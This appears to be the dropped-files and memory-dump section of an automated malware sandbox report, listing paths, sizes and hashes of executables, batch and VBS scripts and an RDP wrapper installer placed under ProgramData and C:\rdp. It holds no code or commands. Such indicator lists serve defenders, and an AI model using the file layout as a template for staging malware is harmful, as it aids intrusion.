                                                                                                                                            vp8decoder.dll
                                                                                                                                            • Path C:\ProgramData\Windows\vp8decoder.dll
                                                                                                                                            • Size 155KB
                                                                                                                                            • SHA256 4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            vp8encoder.dll
                                                                                                                                            • Path C:\ProgramData\Windows\vp8encoder.dll
                                                                                                                                            • Size 593KB
                                                                                                                                            • SHA256 81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            winit.exe
                                                                                                                                            • Path C:\ProgramData\Windows\winit.exe
                                                                                                                                            • Size 961KB
                                                                                                                                            • SHA256 e95fc3e7ed9ec61ba7214cc3fe5d869e2ee22abbeac3052501813bb2b6dde210
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            5.xml
                                                                                                                                            • Path C:\ProgramData\microsoft\Temp\5.xml
                                                                                                                                            • Size 23KB
                                                                                                                                            • SHA256 9a8efbd09c9cc1ee7e8ff76ea60846b5cd5a47cdaae8e92331f3b7b6a5db4be5
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            install.bat
                                                                                                                                            • Path C:\Programdata\Windows\install.bat
                                                                                                                                            • Size 418B
                                                                                                                                            • SHA256 e3db831cdb021d6221be26a36800844e9af13811bac9e4961ac21671dff9207a
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            103621DE9CD5414CC2538780B4B75751
                                                                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                                                                                                                                            • Size 808B
                                                                                                                                            • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            F15827BEC5BABE89C21DCDAE77464BF1
                                                                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1
                                                                                                                                            • Size 701B
                                                                                                                                            • SHA256 108dd34232a3088b45534933d0486409616a2bbad94fd8f7ab5991c01ff179b6
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            103621DE9CD5414CC2538780B4B75751
                                                                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                                                                                                                                            • Size 192B
                                                                                                                                            • SHA256 507088afe0a89788c06cffbdd0af847c351b1328f259fbc7f89ec171f04900f7
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            F15827BEC5BABE89C21DCDAE77464BF1
                                                                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1
                                                                                                                                            • Size 192B
                                                                                                                                            • SHA256 66fb55d9a7b6040c74490f99eaaf2a4c526698260ed5077ba5df9f6488347608
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            Password[1].htm
                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\4WTM5J5L\Password[1].htm
                                                                                                                                            • Size 169B
                                                                                                                                            • SHA256 502083c916ae481cdd413b8d93315300653df5fb3dcc5770c01991de19977eae
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            BC76.bat
                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\BC75.tmp\BC76.bat
                                                                                                                                            • Size 139B
                                                                                                                                            • SHA256 f293caa096cc51a511cedd76fd011a275fb8a30b6a93542ded718930a7d12ee9
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            __PSScriptPolicyTest_xkflrj25.05b.ps1
                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xkflrj25.05b.ps1
                                                                                                                                            • Size 60B
                                                                                                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            aut491F.tmp
                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\aut491F.tmp
                                                                                                                                            • Size 4.5MB
                                                                                                                                            • SHA256 b80857cd30e6ec64e470480aae3c90f513115163c74bb584fa27adf434075ab2
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            ink.exe
                                                                                                                                            • Path C:\programdata\install\ink.exe
                                                                                                                                            • Size 112KB
                                                                                                                                            • SHA256 136590cb329a56375d6336b12878e18035412abf44c60bebdaa6c37840840040
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            P.exe
                                                                                                                                            • Path C:\programdata\microsoft\intel\P.exe
                                                                                                                                            • Size 382KB
                                                                                                                                            • SHA256 8215e35c9ce15a7b7373871b27100577d3e609856eac71080ac13972a6a6748b
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            R8.exe
                                                                                                                                            • Path C:\programdata\microsoft\intel\R8.exe
                                                                                                                                            • Size 887KB
                                                                                                                                            • SHA256 40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            H.bat
                                                                                                                                            • Path C:\programdata\microsoft\temp\H.bat
                                                                                                                                            • Size 5KB
                                                                                                                                            • SHA256 a33af2b70ad8fea8900b6bd31ac7b0aab8a2b8b79e3e27adafbd34bdfcb67549
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            Temp.bat
                                                                                                                                            • Path C:\programdata\microsoft\temp\Temp.bat
                                                                                                                                            • Size 463B
                                                                                                                                            • SHA256 ccf47d036ccfe0c8d0fe2854d14ca21d99be5fa11d0fbb16edcc1d6c10de3512
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            RDPWInst.exe
                                                                                                                                            • Path C:\rdp\RDPWInst.exe
                                                                                                                                            • Size 1.4MB
                                                                                                                                            • SHA256 ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            Rar.exe
                                                                                                                                            • Path C:\rdp\Rar.exe
                                                                                                                                            • Size 370KB
                                                                                                                                            • SHA256 2356220cfa9159b463d762e2833f647a04fa58b4c627fcb4fb1773d199656ab8
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            bat.bat
                                                                                                                                            • Path C:\rdp\bat.bat
                                                                                                                                            • Size 1KB
                                                                                                                                            • SHA256 238c063770f3f25a49873dbb5fb223bba6af56715286ed57a7473e2da26d6a92
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            db.rar
                                                                                                                                            • Path C:\rdp\db.rar
                                                                                                                                            • Size 443KB
                                                                                                                                            • SHA256 534e0430f7e8883b352e7cba4fa666d2f574170915caa8601352d5285eee5432
                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                            Submit Download

                                                                                                                                            install.vbs
                                                                                                                                            • Path C:\rdp\install.vbs
                                                                                                                                            • Size 80B
                                                                                                                                            • SHA256 f797d95ce7ada9619afecde3417d0f09c271c150d0b982eaf0e4a098efb4c5ec
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            pause.bat
                                                                                                                                            • Path C:\rdp\pause.bat
                                                                                                                                            • Size 352B
                                                                                                                                            • SHA256 46565c0588b170ae02573fde80ba9c0a2bfe3c6501237404d9bd105a2af01cba
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            run.vbs
                                                                                                                                            • Path C:\rdp\run.vbs
                                                                                                                                            • Size 84B
                                                                                                                                            • SHA256 c7758bb2fdf207306a5b83c9916bfffcc5e85efe14c8f00d18e2b6639b9780fe
                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                            Submit Download

                                                                                                                                            memory/1412-141-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1412-155-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1412-145-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1412-144-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1412-142-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1412-146-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1412-143-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-69-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-73-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-65-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-67-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-66-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-64-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1624-68-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1668-147-0x0000000000400000-0x0000000000420000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1768-368-0x0000000000400000-0x000000000056F000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1768-323-0x0000000000400000-0x000000000056F000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/1768-374-0x0000000000400000-0x000000000056F000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/2444-93-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/2444-148-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/2444-91-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/2444-90-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/2444-94-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/2444-92-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3292-212-0x0000000000400000-0x0000000000419000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3292-189-0x0000000000400000-0x0000000000419000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-133-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-150-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-138-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-135-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-134-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-137-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3656-136-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/3920-376-0x0000000000400000-0x000000000056F000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4076-241-0x0000000000610000-0x00000000006FC000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4076-252-0x0000000000610000-0x00000000006FC000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4140-120-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4140-116-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4140-117-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4140-149-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4140-119-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4140-115-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-76-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-79-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-81-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-80-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-78-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-77-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4736-118-0x0000000000400000-0x0000000000AB9000-memory.dmp
                                                                                                                                            Download

                                                                                                                                            memory/4980-193-0x000001E35F730000-0x000001E35F752000-memory.dmp
                                                                                                                                            Download